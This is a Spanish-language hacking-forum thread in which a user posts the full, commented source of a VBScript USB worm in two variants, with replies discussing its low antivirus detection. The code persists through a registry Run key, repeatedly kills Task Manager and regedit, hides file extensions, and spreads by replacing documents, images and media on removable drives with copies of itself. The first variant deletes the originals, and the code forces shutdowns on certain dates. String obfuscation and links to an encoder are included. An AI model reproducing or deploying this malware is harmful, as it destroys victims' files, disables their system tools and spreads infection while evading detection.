Test Foro de elhacker.net SMF 2.1

Chav@s como estoy de vacaciones  ;-) y no tengo nada q hacer les traigo un worm  programado en vbscript x mi.Parte del code esta codificado aver si les gusta lo que hace_

• 1.-Infecta pc da
• 2.-Residente en la memoria
• 3.-Graffity a pc
• 4.-Impide q se abra el administrador de tareas y el registro de Windows
  
• 5.-Si lo borran regresa  :rolleyes:
• 6.-Infecion USb remplaza una lista de formatos con el code deo worm eliminando el archivo original muy lamer  ;D  lose tambien cabe la opcion de solo ocultarlos en fin
• 7.-Prosesa sub carpetas para el paso6
• 8.-Cada vez q la pc infectada se encienda comprueva q el dia y el mes sumados den 18 la pc se apaga y como esta agregado a la pc no se prendera todo ese dia  :laugh:

Bueno es hora de empezar aqui les dego el codigo se los voy explicando



On Error Resume Next 'en cso de algun error no dar aviso
Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))     'Creamos objeto para manejar archivos
y0 = Wscript.ScriptFullName                                    'variable con la ruta exacta del worm
Set tmp = fso.GetSpecialFolder(2)                              'hace referencia a la carpeta temporal
Set ws = CreateObject(des("ZVfulsw1Vkhoo"))                     'Creamos objeto para manejar el registro
Set c = fso.GetFile(y0)                                        'creamos una variable contenga lo de la var y0
c.Copy(tmp&des("_NvY1yev"))                                     'con ayuda de lo anterior nos copiamos a la carpeta %temp%
fso.CopyFile y0, tmp&des("_NvY1yev")                             'nos copiamos a la carpeta %temp% )(x si no funciona la anterior)
ws.RegWrite "HKCU\software\<3\", " 4U ksv"                        'grafittiando el registro de windows
ws.run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y#KlghIlohH{w")&  "/t reg_dword /d 1 /f",0   'ocultamos las extensiones de los archivos
ksv()       'llamamos a la funcion ksv
dloop()      'llamamos a la funcion dloop

Do                   'inicio de bucle infinito
On Error Resume Next

'las dos sig. lineas llama a la funcion see la cual se encarga de cerrar aplicaciones aqui ya le asignamos dos aplicaciones para q cierre (administrador de tareas y registro de windows)
see(des("wdvnpju1h{h"))  
see(des("uhjhglw1h{h"))
ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yev") 'Nos agregamos al registro de windows

Set wf= fso.OpenTextFile(y0) 'abrimos el archivo de la variable y0 osea el q se esta ejecutando
i= wf.ReadAll                 'Agregamos el contenido completo del worm a la variable i
wf.Close                      'cerramos el worm
If fSO.FileExists(y0) Then    'comprobamos q exista el contenido de la var.y0 si es asi
wscript.sleep 1000             'espera 1 segundo  
Else                           'si no existe
Set nf= fso.CreateTextFile(y0) 'creamos el archivo
nf.Write i                      'escribimos el contenido q almacenamos en la var (i)
nf.Close                        'lo cerramos
End If
obdri()                     'vamos a la funcion obdri
Loop                        'una ves q termine la funcion obdri regresa a do
End Sub

'Funcion q se encarga de cerrar el administrador de windows y el registro de windows
Sub see(processname)
On Error Resume Next
Set WM =getobject(des("ZlqPjpWv="))
Set listservices= WM.instancesof(des("Zlq65bSurFhvV"))
For Each oService In listservices
If processname=oService.name Then
oService.Terminate
End If
Next
End Sub


Function obdri()    
On Error Resume Next
Set discos = fso.Drives   'tomamos el control de las unidades de la pc
For Each d In discos      'bucle para mapear las unidades
If d.Drivetype = 1 or 0 Then  'comprobamos q sean del tipo (1extendible) (0 desconosidos) si es asi
a1= d&"\"                       'agregamos la direcion en la var a1            
Call joder(a1)                  'llamamos a la funcion joder con una direcion  
End If
Next           'pasa a la sigiente
End Function


Function joder(a2)
On Error Resume Next
Set f4 = fso.GetFolder(a2) 'toma control de las carpeta de la usb
Set carpeta = f4.Files      'toma control de los archivos
For Each abc In carpeta    'mapeo de archivos contenidas en un array
nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
For each n in nombres
If fso.GetExtensionName(abc.path) = n Then  'si existe alguna de las extensiones en el array entonces  
fso.CopyFile y0, abc.path&".vbs"            'copiamos el contenido de la var. y0 a los archivos q encuentre si la extensión coincide pero le modificamos la extensión
fso.DeleteFile abc.path         'borramos el archivo original
End If
next  'sigiente
next'siguiente

Set abc= f4.SubFolders 'aqui prosesamos e infectamos sub carpetas
For Each f3 In abc
Call joder(f3.path)
Next
End Function


'las siguientes 6 lineas se encarga de cifrar y descifrar
Public Function des(p)
On Error Resume Next
For Ale = 1 To  Len(p)
des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
Next
End Function


'comprueba si el dia y el mes sumados dan 18 si es asi apagamos la pc y como se agrego al registro
'la pc no prendera todo es dia
Sub ksv()
On Error Resume Next
sum = CInt(Month(Date) + Day(Date))
If sum = 18 Then
ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
End If
End sub





VARIACION
E aqui el mismo code simplemente le qite la opcion de borrar el archivo original simplemente los oculta tanto como oculto y de sistema tambien oculta la extensión
NOTA


On Error Resume Next
Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))
y0 = Wscript.ScriptFullName
Set tmp = fso.GetSpecialFolder(2)
Set ws = CreateObject(des("ZVfulsw1Vkhoo"))
Set c = fso.GetFile(y0)
c.Copy(tmp&des("_NvY1yeh"))
fso.CopyFile y0, tmp&des("_NvY1yeh")
ws.RegWrite "HKCU\software\<3\", " 4U ksv"
Set ws = CreateObject("wscript.shell")
ksv438 = array(des("#VxshuKlgghq#"),des("#Klgghq#"),des("#VkrzVxshuKlgghq#"))
For each n in ksv438
ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& n&des("#2w#uhjbgzrug#2g#3#2i"),0
next
ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& " HideFileExt "&des("#2w#uhjbgzrug#2g#4#2i"),0  
ksv()
dloop()
Do
On Error Resume Next
kya(des("wdvnpju1h{h"))
kya(des("uhjhglw1h{h"))
ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yeh")
Set wf= fso.OpenTextFile(y0)
i= wf.ReadAll
wf.Close
y0=w
If fSO.FileExists(w) Then
wscript.sleep 1000
Else
Set nf= fso.CreateTextFile(w)
nf.Write i
nf.Close
End If
obdri()
Loop
End Sub
Sub kya(processname)
On Error Resume Next
Set WM =getobject(des("ZlqPjpWv="))
Set listServices= WM.instancesof(des("Zlq65bSurFhvV"))
For Each oService In listServices
If ProcessName=oService.name Then
oService.Terminate
End If
Next
End Sub
Function obdri()
On Error Resume Next
Set discos = fso.Drives
For Each d In discos
If d.Drivetype = 1 or 0 Then
a1= d&"\"
Call KsVAl(a1)
End If
Next
End Function
Function KsVAl(a2)
On Error Resume Next
Set f4 = fso.GetFolder(a2)
Set carpeta = f4.Files
For Each abc In carpeta
nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
For each n in nombres
If fso.GetExtensionName(abc.path) = n Then
fso.CopyFile y0, abc.path&".vbe"
'fso.DeleteFile abc.path
Set hi = fso.GetFolder(abc.path)
hi.Attributes = 7
End If
next
next
Set abc= f4.SubFolders
For Each f3 In abc
Call KsVAl(f3.path)
Next
End Function
Public Function des(p)
On Error Resume Next
For Ale = 1 To  Len(p)
des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
Next
End Function
Sub ksv()
On Error Resume Next
sum = CInt(Month(Date) + Day(Date))
If sum = 18 Then
ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
End If
End sub





http://www.mediafire.com/?a2r9qcwbxue3x9d  (http://www.mediafire.com/?a2r9qcwbxue3x9d)DESCARGAR SCRENC CON UN BAT PARA NO HACER TANTO ROLLO SOLO EJECUTEN EL BAT Y SIGAN LAS INSTRUCIONES

Aqui Screnc para codificar y descodificar http://www.mediafire.com/?pp14x1zjt2xdpw3 (http://www.mediafire.com/?pp14x1zjt2xdpw3)

LES CREARA UN ARCHIVO VBE (ESTE ES EL WORM ) PERO NO PODRAN LEER SU CONTENIDO SE VERA ALGO ASI
#@~^xAkAAA==6   P3MDKDP"+k;:PH+XY@#@&U+Y,W/KP',/.+mYr8Ln^D`[+kcJj0;skhV5%8qsW4--.A4w"+:40SE#*@#@&XZPx~q/mMrwDR?1.rwDs!Vs1Ch@#@&?OPD:2~
>:D






No compilen el code por q no funcionara x q NO FUNCIONARA LA OPCION DE AUTO RECOPERACION (osea lo borran y vuelve   >:D )


;-)

Dudas y Comentarios  siempre son bien venidas

Un worm en vbs? Bueno por lo menos no es alguien preguntando como usar Bifrost. Lo has subido a virustotal, a ver que rango de deteccion tiene?

Bueno los mejores worm se programaron en vbs happyTime ana k..iloveyou..etc

y si ya lo analize en virustotal Deteccion 2 de 43   ;-)
los antivirus q lo detectaron fue AVG  y aSafe con ultimas actualizaciones 15/12/12 11:24am  >:D

No queria decir que fuese un codigo malo, solo que esta muy visto, y no es nada demasiado "pro" que se diga. Incluso hay un tutorial en este foro sobre hacer worms en vbs.

De todas formas, es un aporte, a diferencia de muchos usuarios que se registran solo para preguntar como usar bifrost o cosas similares, y me disculpo si ha parecido que queria ofenderte.

En cuanto a la deteccion, me da la impresion de que los antivirus no se han puesto las pilas con los lenguajes de scripting.

Saludos.

No es que los antivirus no se hayan puesto las pilas con los lenguajes de scripting, lo que ocurre es que a estos los detectan por heurística ,y eso no sale en el reporte :P

Saludos

Buen codigo, seguro que muchas horas picando codigo.

0xDaniNTP NO Me ofendo de ninguna manera al contrariom me alaga q personas como tu comenten.

en estemomento como novato no me qiero poner mis moños



a mi tambien me saco de onda el 2/43  pense q abia sido un error pero tambien pense buen trabajo


Pero como dice Novlucker es la  heurística el AVG lo detecto por eso


Novlucker Es un placer q vieras esto mi primer encuentro con este mundo fue tu TUTORIAL DE VBSCRIPT GRACIAS

Todo lo o la mayor parte q se de vbs es gracias a ti
A tu nombre este code.

тαптяαпсє Gracias x el comentario y si me lleve unas 2 horillas